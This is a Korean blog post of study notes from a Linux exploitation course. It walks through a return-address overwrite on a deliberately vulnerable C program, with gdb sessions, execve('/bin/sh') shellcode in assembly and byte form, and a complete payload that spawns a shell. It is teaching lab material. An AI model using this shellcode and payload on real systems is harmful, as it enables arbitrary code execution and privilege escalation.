시스템 해킹/dream hack

[dream hack] Return address overwrite

ruming 2021. 2. 18. 03:06

Linux Exploitation & Mitigation Part 1 

2. Return Address Overwrite

RET Overwrite

스택 버퍼 오버플로우 취약점을 공격하는 방법

스택 버퍼 오버플로우 취약점이 있을 때는 주로 스택의 리턴 주소를 덮는 공격을 한다. 스택에 저장된 리턴 주소를 다른 값으로 바꾸면 실행 흐름을 조작할 수 있다.

*리턴주소 : 함수가 끝나고 돌아갈 이전 함수의 주소

 

example.c

// gcc -o example1 example1.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -m32
#include <stdio.h>
int vuln(char *src) {
  
  char buf[32] = {};
  
  strcpy(buf, src);
  return 0;
}
int main(int argc, char *argv[], char *environ[]) {
  if (argc < 2){
    exit(-1);
  }
  vuln(argv[1]);
  return 0;
}
//example1.c

프로그램의 argv[1]을 vuln함수의 인자로 전달한다. vuln 함수에서는 src 버퍼를 buf 버퍼에 strcpy 함수를 이용해 복사한다. strcpy함수는 길이 검증이 없어 스택 버퍼 오버플로우 취약점이 발생한다.

 

vuln함수의 메모리 구조

x86 아키텍처 호출 규약에 의해 vuln함수가 호출되면 인자인 src 문자열 포인터가 스택에 쌓인다. 이후 vuln함수의 리턴 주소가 쌓이고, 함수의 프롤로그에서 ebp 레지스터를 저장한 다음 지역 변수의 공간을 할당한다.

 

 

vuln함수에 브레이크포인트를 설정한 후 첫 번째 인자와 함께 example1 바이너리를 실행

(gdb) p vuln
$1 = {<text variable, no debug info>} 0x804843b <vuln>
(gdb) b*0x804843b
Breakpoint 1 at 0x804843b
(gdb) r aaaabbbbccccdddd
Starting program: ~/example1 aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllll
Breakpoint 1, 0x0804843b in vuln ()
(gdb) x/2wx $esp
0xffffd520:	0x08048494	0xffffd74a
(gdb) x/i 0x08048494
   0x8048494 <main+30>:	add    $0x4,%esp
(gdb) x/s 0xffffd74a
0xffffd74a:	"aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllll"
(gdb) 
(gdb) disas vuln
Dump of assembler code for function vuln:
   0x0804843b <+0>:	push   ebp
   0x0804843c <+1>:	mov    ebp,esp
   0x0804843e <+3>:	sub    esp,0x20
   0x08048441 <+6>:	mov    ecx,0x0
   0x08048446 <+11>:	mov    eax,0x20
   0x0804844b <+16>:	and    eax,0xfffffffc
   0x0804844e <+19>:	mov    edx,eax
   0x08048450 <+21>:	mov    eax,0x0
   0x08048455 <+26>:	mov    DWORD PTR [ebp+eax*1-0x20],ecx
   0x08048459 <+30>:	add    eax,0x4
   0x0804845c <+33>:	cmp    eax,edx
   0x0804845e <+35>:	jb     0x8048455 <vuln+26>
   0x08048460 <+37>:	push   DWORD PTR [ebp+0x8]
   0x08048463 <+40>:	lea    eax,[ebp-0x20]
   0x08048466 <+43>:	push   eax
   0x08048467 <+44>:	call   0x8048300 <strcpy@plt>
   0x0804846c <+49>:	add    esp,0x8
   0x0804846f <+52>:	mov    eax,0x0
   0x08048474 <+57>:	leave  
   0x08048475 <+58>:	ret  
End of assembler dump.
(gdb) 

브레이크포인트의 스택메모리를 보면 첫 바이트는 vuln함수의 리턴 주소이고 다음 4바이트는 vuln함수의 인자인 argv[1]의 주소다.

 

strcpy함수가 실행되기 직전에 브레이크포인트를 설정해 인자를 살펴보자.

(gdb) x/20i vuln
=> 0x804843b <vuln>:	push   ebp
   ...
   0x8048467 <vuln+44>:	call   0x8048300 <strcpy@plt>
   ...
(gdb) b *0x8048467
Breakpoint 2 at 0x8048467
(gdb) c
Continuing.
Breakpoint 2, 0x08048467 in vuln ()
(gdb) x/2wx $esp
0xffffd4f4:	0xffffd4fc	0xffffd74a

스택에 buf주소와 argv[1]의 주소가 저장되어 있다.

 

strcpy함수 실행

(gdb) ni
0x0804846c in vuln ()
(gdb) x/20wx 0xffffd4fc
0xffffd4fc:	0x61616161	0x62626262	0x63636363	0x64646464
0xffffd50c:	0x65656565	0x66666666	0x67676767	0x68686868
0xffffd51c:	0x69696969	0x6a6a6a6a	0x6b6b6b6b	0x6c6c6c6c
0xffffd52c:	0xf7e1b600	0x00000002	0xffffd5c4	0xffffd5d0
0xffffd53c:	0x00000000	0x00000000	0x00000000	0xf7fb5000
(gdb) 

첫 번째 인자 buf(0xffffd4fc)에 argv[1]의 문자열이 복사됨. argv[1]에 buf의 길이(32byte)보다 긴 문자열을 주었기 때문에 vuln의 리턴주소가 저장된 0xfffd520 너머까지 argv[1] 문자열이 복사되었다.

 

x86 아키텍처의 ret 명령어는 esp 레지스터가 가리키고 있는 주소에 저장된 값으로 점프하는 명령어다.

vuln 함수가 리턴할 때의 esp 레지스터가 가리키고 있는 주소에는 0x6a6a6a6a가 저장되어 있다. 이후 ret 명령어가 실행되면 eip 레지스터는 0x6a6a6a6a가 된다.

(gdb) x/i 0x8048475
   0x8048475 <vuln+58>:	ret    
(gdb) b*0x8048475
Breakpoint 3 at 0x8048475
(gdb) c
Continuing.
Breakpoint 3, 0x08048475 in vuln ()
(gdb) x/wx $esp
0xffffd520:	0x6a6a6a6a
(gdb) 

 

(gdb) x/i $eip
=> 0x8048475 <vuln+58>:	ret    
(gdb) si
0x6a6a6a6a in ?? ()
(gdb) print $eip
$1 = (void (*)()) 0x6a6a6a6a
(gdb) 

eip 레지스터를 임의의 값으로 바꿀 수 있기 때문에 원하는 주소의 코드를 실행할 수 있다.

 

익스플로잇 최종 목표는 프로그램의 실행 흐름을 조작해 /bin/sh 혹은 셸 바이너리를 실행하는 것이다.

셸을 실행하는 이유는 권한 상승이나 본래의 프로그램이 의도치 않은 행위를 하기 위해서이다. 셸을 획득하면 서버에 임의의 명령어를 실행할 수 있다.

 

 

셸코드

공격자가 /bin/sh 혹은 셸 바이너리를 실행하는 기계어 코드를 실행하면 셸에서 제공하는 여러 명령어들을 실행할 수 있게 된다. example1 바이너리에서 /bin/sh바이너리를 실행시키는 기계어 코드를 만들어보자.

 

리눅스에서는 바이너리를 실행시키기 위해 execve 시스템 콜을 사용한다.

 

execve 시스템 콜의 인자

execve syscall
syscall number(eax register) - 0xb(11)
1st argument(ebx register) – pathname
2nd argument(ecx register) – argv[]
3rd argument(edx register) – envp[]

pathname에는 실행시킬 바이너리의 경로, argv는 프로그램의 인자 포인터 배열, envp에는 프로그램의 환경변수 포인터 배열이 요구된다.

 

/bin/sh 바이너리를 실행시키려면 다음 인자 형태의 execve 시스템 콜을 호출하면 된다.

sys_execve("/bin/sh" 주소, NULL, NULL)

기계어 코드를 만들어보자.

 

어셈블리 코드 (shellcode.asm)

section .text
global _start
_start
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f	//	/bin/sh 문자열을 스택에 저장
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80

어셈블리코드 → 기계어 코드 (shellcode.o)

$ sudo apt-get install nasm 	//nasm 설치
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
shellcode.o:     file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
   0:	31 c0                	xor    %eax,%eax
   2:	50                   	push   %eax
   3:	68 2f 2f 73 68       	push   $0x68732f2f
   8:	68 2f 62 69 6e       	push   $0x6e69622f
   d:	89 e3                	mov    %esp,%ebx
   f:	31 c9                	xor    %ecx,%ecx
  11:	31 d2                	xor    %edx,%edx
  13:	b0 0b                	mov    $0xb,%al
  15:	cd 80                	int    $0x80
$ 

 

기계어 코드 (shellcode.bin)

$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331  1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80                        .1.....
$ 

 

셸코드

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

이 기계어 코드는 x86리눅스 아키텍처의 어느 바이너리에서 실행시켜도 항상 /bin/sh 바이너리를 실행시키는 기능을 한다.

 

 

RET Overwrite Exploitation

만들어진 셸코드를 example1 프로그램의 인자로 전달하면 셸코드가 스택 메모리에 저장된다.

vuln함수의 리턴 주소를 스택에 저장된 셸코드의 주소로 바꿔보자.

 

디버깅 결과

(gdb) disas vuln
Dump of assembler code for function vuln:
   0x0804843b <+0>:	push   ebp
   0x0804843c <+1>:	mov    ebp,esp
   ...
   0x08048474 <+57>:	leave  
   0x08048475 <+58>:	ret   
End of assembler dump.
(gdb) b *0x8048475
Breakpoint 1 at 0x8048475
(gdb) r aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllll
Starting program: ~/example1 aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllll
Breakpoint 1, 0x08048475 in vuln ()
(gdb) x/i $eip
=> 0x8048475 <vuln+58>:	ret    
(gdb) x/wx $esp
0xffffd5b0:	0x6a6a6a6a
(gdb) 

eip 레지스터의 값이 0x6a6a6a6a로 바뀌었고 이는 argv[1]의 36번째 오프셋이다.

 

리턴 주소가 저장된 스택 메모리를 덮기까지 남은 36바이트의 위치에 셸코드를 위치시키고 리턴 주소를 저장된 셸코드 주소로 바꾸는 공격 코드를 만들어보자. 

 

셸코드의 주소를 확인하기 위해 argv[1]에 40바이트 길이의 문자열을 넣어 example1에 바이너리를 실행하고, strcpy 함수를 호출하는 주소에 브레이크포인트를 설정해 디버깅해보자.

strcpy 함수의 첫 번째 인자는 buf(0xffffd4fc)이므로 strcpy함수가 실행된 이후 셸코드는 0cffffd4fc에 저장된다.

 

셸코드 주소 확인

(gdb) b *0x8048467
Breakpoint 1 at 0x8048467
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: ~/example1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x08048467 in vuln ()
(gdb) x/2wx $esp
0xffffd4f4:	0xffffd4fc	0xffffd752
(gdb) 

 

셸코드의 길이가 23바이트이므로 공격코드는 다음과 같이 구성된다.

셸코드 + 임의의 13바이트 + 0xffffd4fc
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80" + "\x90”*13 + “\xfc\xd4\xff\xff”

이 코드를 argv[1]에 넣어 프로그램을 실행해보자. 리턴 주소가 셸코드 주소로 바뀌어 셸이 실행된다.

 

셸 실행하기

$ gdb -q ./example1
Reading symbols from ./example1...(no debugging symbols found)...done.
(gdb) r python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"+"A"*13+"\xfc\xd4\xff\xff"'
Starting program: ~/example1 python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"+"A"*13+"\xfc\xd4\xff\xff"'
process 88433 is executing new program: /bin/dash
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)

 

공격 코드를 gdb가 아닌 셸 환경에서 실행해보자.

$ ./example1 python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"+"A"*13+"\xfc\xd4\xff\xff"'
[1]    88636 segmentation fault (core dumped)  ./example1 
$ 

셸을 획득하지 못하고 프로그램이 비정상 종료되었다.

 

익스플로잇이 제대로 동작하지 않은 이유는 스택의 셸코드의 주소가 바뀌었기 때문이다. 프로그램을 다른 환경에서 실행시킬 때 지역변수의 주소는 스택 끝에 존재하는 프로그램의 인자와 환경변수에 따라 변한다.

 

 

gdb와 셸에서의 지역 변수 주소가 다른 이유는 argv[0] 문자열, 즉 실행파일의 경로가 각각 절대 경로와 상대 경로로 다르기 때문이다. 

// binary.c
#include <stdio.h>
int main(int argc, char *argv[1]){
  printf("argv[0] : %s\n", argv[0]);
}
$ ./binary
argv[0] : ./binary
$ gdb -q ./binary
Reading symbols from ./binary...(no debugging symbols found)...done.
(gdb) r
Starting program: /Linux_Exploitation_Mitigation/binary 
argv[0] : /Linux_Exploitation_Mitigation/binary
[Inferior 1 (process 35158) exited normally]
(gdb) 

gdb는 프로그램을 실행할 때 실행 파일의 절대경로를 argv[0]에 저장하지만 셸에서 프로그램을 실행할 때는 사용자가 입력한 경로가 argv[0]에 저장된다. 그래서 스택 주소에 약간의 오차가 생겨도 익스플로잇이 성공할 수 있도록 공격 코드를 수정할 필요가 있다.